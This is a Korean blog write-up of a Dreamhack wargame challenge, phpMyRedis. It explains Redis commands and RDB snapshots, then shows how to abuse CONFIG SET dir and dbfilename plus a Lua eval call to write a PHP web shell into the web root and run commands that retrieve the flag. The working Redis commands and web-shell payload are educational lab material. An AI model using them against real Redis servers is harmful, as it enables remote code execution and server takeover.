security/웹해킹

[Dreamhack Wargame] phpMyRedis + .rdb 파일을 이용한 웹쉘 업로드

민사민서 2023. 7. 15. 18:11

Redis 명령어

- 데이터 조작 명령어

GET GET key 데이터 조회
MGET MGET key [key ...] 여러 데이터를 조회
SET SET key value 새로운 데이터 추가
MSET MSET key value [key value ...] 여러 데이터를 추가
DEL DEL key [key ...] 데이터 삭제
EXISTS EXISTS key [key ...] 데이터 유무 확인

- php에서 데이터 조작 명령어 사용하는 방법 

1. get(), set() 함수 이용

$redis = new Redis();
$redis->connect($REDIS_HOST);
$key = "test_key";
$val = "test_val";
$redis->set($key, $val); # SET $key $val
echo $redis->get($key); # GET $key

2. eval() 함수 이용하여 Lua 스크립트 실행

- Redis는 내장 Lua 인터프리터를 가지고 있어 eval()로 전달된 스크립트 해석하여 동작함

- 문법은 여기(https://docs.w3cub.com/redis/eval)서 참고

$redis = new Redis();
$redis->connect($REDIS_HOST);
$ret = json_encode($redis->eval("return redis.call('set','foo','bar')"));
$ret2 = json_encode($redis->eval("return redis.call('get','foo')")); // returns "bar"
$ret3 = json_encode($redis->eval("return 10")); // returns 10

- DBMS 관리 명령어

INFO INFO [section] DBMS 정보 조회
CONFIG GET CONFIG GET parameter 설정 조회
CONFIG SET CONFIG SET parameter value 새로운 설정을 입력

- php에서 DBMS 관리 명령어 사용하는 방법 

1. config() 함수 이용

$redis = new Redis();
$redis->connect($REDIS_HOST);
$ret = json_encode($redis->config('GET', $_POST['key']));
$ret2 = $redis->config('SET', $_POST['key'], $_POST['value']);

-  'Get or Set the Redis server configuration parameters' , 즉 서버 설정값들을 가져오거나 세팅하기 위한 함수.

https://github.com/phpredis/phpredis

- SET vs CONFIG SET

SET test minseo

=> (key: test, value: minseo) 인 데이터를 새로 추가

CONFIG SET test minseo

=> Redis 서버의 설정을 가져오거나 변경하는데 사용되는 함수

=> 'test' 라는 이름의 설정값이 없으므로 실행 시 오류 발생

 

SAVE를 이용한 Redis 공격 시나리오

- Redis는 메모리에 데이터를 저장하는 인 메모리(In-Memory) 데이터베이스이다.

- 휘발성이라는 메모리의 특징 때문에 종료 시 데이터가 유실되는데, 이러한 점을 보완하기 위해 RDB(Redis DB) 라는 백업 방식을 제공한다 (AOF도 있음)

- 데이터 손실 방지를 위해 일정 시간마다 .rdb 확장자를 가진 메모리 데이터를 파일 시스템에 저장한다

- Redis는 명령어를 이용해 메모리 데이터를 저장하는 파일의 저장 주기를 지정하거나 즉시 저장할 수 있으며 저장되는 파일의 경로와 이름, 그리고 저장할 데이터를 함께 설정할 수 있다.

설정 항목 설정값 설명
save 100 0 100초 동안 0개의 쓰기 발생 시 디스크에 데이터 복제 (즉시 저장)
save 300 10 300초(3분) 동안 10개의 쓰기 발생 시 디스크에 데이터 복제(저장)
save 60 10000 60초 동안 10,000개의 쓰기 발생 시 디스크에 데이터 복제(저장)
dbfilename dump.rdb 메모리 데이터 파일명 (기본적으로 dump.rdb)
dir ./ dump.rdb 파일 저장 위치

문제 환경의 dir 초기 세팅값
문제 환경의 dbfilename 초기 세팅값
문제 환경의 save 초기 세팅값

- 공격 시나리오: 메모리 데이터 파일의 저장 경로, 이름, 내부 데이터를 임의로 조작하여 웹쉘 업로드하는 것

- 메모리 스냅샷 파일을 웹쉘처럼 사용하는 것이 핵심

CONFIG set dir /tmp
CONFIG set dbfilename exploit.php
SET test "<?php system($_GET['cmd']); ?>"
SAVE 60 0
eval 'redis.call("config", "set", "dir", "/var/www/html/data/");
    redis.call("config", "set", "dbfilename", "exploit.php");
    redis.call("set", "test", "<?php system($_GET[cmd]); ?>");' 0
save

// <?php system($_GET['cmd']); ?> 를 포함한 DUMMY 데이터들이 /tmp/exploit.php 에 저장될 것.

// 두 번째 방식처럼 eval 함수를 이용해도 된다

 

cf) /var/www/html 이란 무엇인가

- /var/www/html is just the default root folder of the web server

- 아파치 서버의 기본 웹페이지 소스는 /var/www/html/index.html 파일이라고 한다

 

문제 분석

- index.php 일부

<?php 
    if(isset($_POST['cmd'])){
        $redis = new Redis();
        $redis->connect($REDIS_HOST);
        $ret = json_encode($redis->eval($_POST['cmd']));
        echo '<h1 class="subtitle">Result</h1>';
        echo "<pre>$ret</pre>";
        if (!array_key_exists('history_cnt', $_SESSION)) {
            $_SESSION['history_cnt'] = 0;
        }
        $_SESSION['history_'.$_SESSION['history_cnt']] = $_POST['cmd'];
        $_SESSION['history_cnt'] += 1;

        if(isset($_POST['save'])){
            $path = './data/'. md5(session_id());
            $data = '> ' . $_POST['cmd'] . PHP_EOL . str_repeat('-',50) . PHP_EOL . $ret;
            file_put_contents($path, $data);
            echo "saved at : <a target='_blank' href='$path'>$path</a>";
        }
    }
?>

POST로 전달된 data를 $redis->eval()에 넣어 결과값 출력

save 옵션 체크 시 localhost/data/[파일명] 에 결과 저장

입력한 커맨드는 SESSION history_n 변수에 저장되어 화면 하단에 리스트로 출력

 

- config.php 일부

<?php 
    if(isset($_POST['option'])){
        $redis = new Redis();
        $redis->connect($REDIS_HOST);
        if($_POST['option'] == 'GET'){
            $ret = json_encode($redis->config($_POST['option'], $_POST['key']));
        }elseif($_POST['option'] == 'SET'){
            $ret = $redis->config($_POST['option'], $_POST['key'], $_POST['value']);
        }else{
            die('error !');
        }                        
        echo '<h1 class="subtitle">Result</h1>';
        echo "<pre>$ret</pre>";
    }
?>

$redis->config()로 서버 설정값을 조회하고 수정할 수 있음

 

문제 풀이

문제 환경의 설정값 살펴보니 메모리 데이터 파일이 dump.rdb라는 이름으로 /var/www/html 에 저장되고 있었다

또 {"save":"3600 1 300 100 60 10000"} 로 저장 주기가 널널하게 세팅되어있었다.

 

이렇게 php 파일로 이름을 변경하고

 

이렇게 저장 주기를 변경하고 (즉시 저장) 

 

 

인덱스 페이지로 넘어가서 Lua script를 이용해 메모리에 쉘스크립트를 남긴다

수정사항이 발생했으므로 "~~~/exploit.php" 에 스냅샷이 떠질 것

return "<?php system($_GET['cmd']); ?>"

// 이렇게 입력해도 잘 동작하나, /index.php 에서든 /config.php에서든 SET을 이용한 수정이 이루어져야 그제서야 exploit.php가 생성되더라

 

~~dreamhack.games:18399/exploit.php 에 접속하면 위와 같은 메시지 뜬다. 딱 봐도 argument로 건네진 cmd가 없어서 빈 커맨드를 실행했다는 warning이다

 

 

# FLAG
#COPY ./flag /flag

도커파일에 따르면 서버의 /flag 에 플래그 파일이 복사되었다고 한다

 

?cmd=file /flag 로 플래그 파일의 정보를 leak 했더니 실행파일이란다

 

?cmd=/flag 로 실행파일 실행했더니 플래그 구해진다